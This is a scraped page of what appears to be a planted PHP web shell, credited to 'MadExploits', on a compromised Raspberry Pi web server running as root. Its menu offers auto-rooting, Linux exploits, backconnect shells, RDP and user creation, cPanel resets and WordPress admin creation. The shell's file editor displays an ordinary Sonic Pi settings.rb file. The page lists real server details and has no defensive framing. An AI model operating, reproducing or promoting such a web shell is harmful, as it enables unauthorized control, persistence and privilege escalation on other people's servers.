Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
sonic-pi /
server /
lib /
sonicpi /
config /
[ HOME SHELL ]
Name
Size
Permission
Action
settings.rb
1.69
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : settings.rb
#-- # This file is part of Sonic Pi: http://sonic-pi.net # Full project source: https://github.com/samaaron/sonic-pi # License: https://github.com/samaaron/sonic-pi/blob/master/LICENSE.md # # Copyright 2013, 2014, 2015, 2016 by Sam Aaron (http://sam.aaron.name). # All rights reserved. # # Permission is granted for use, copying, modification, and # distribution of modified versions of this work as long as this # notice is included. #++ require 'multi_json' require 'active_support/core_ext/hash/indifferent_access' ## A simple json backed settings system. Settings are persisted into a ## json file and all access and modification is synchronised with a ## Mutex. module SonicPi module Config class Settings def initialize(settings_path) @settings_path = settings_path begin content = File.read(@settings_path) cur_settings = MultiJson.load(content) rescue cur_settings = {} end @settings = cur_settings.with_indifferent_access @sem = Mutex.new end def get(k) @sem.synchronize do @settings[k] end end def del(k) @sem.synchronize do @settings.delete(k) File.open(@settings_path, 'w') do |f| f.write(MultiJson.dump(@settings, pretty: true)) end end end def set(k, v) @sem.synchronize do @settings[k] = v File.open(@settings_path, 'w') do |f| f.write(MultiJson.dump(@settings, pretty: true)) end end v end def all @sem.synchronize do @settings.clone.with_indifferent_access end end end end end
Close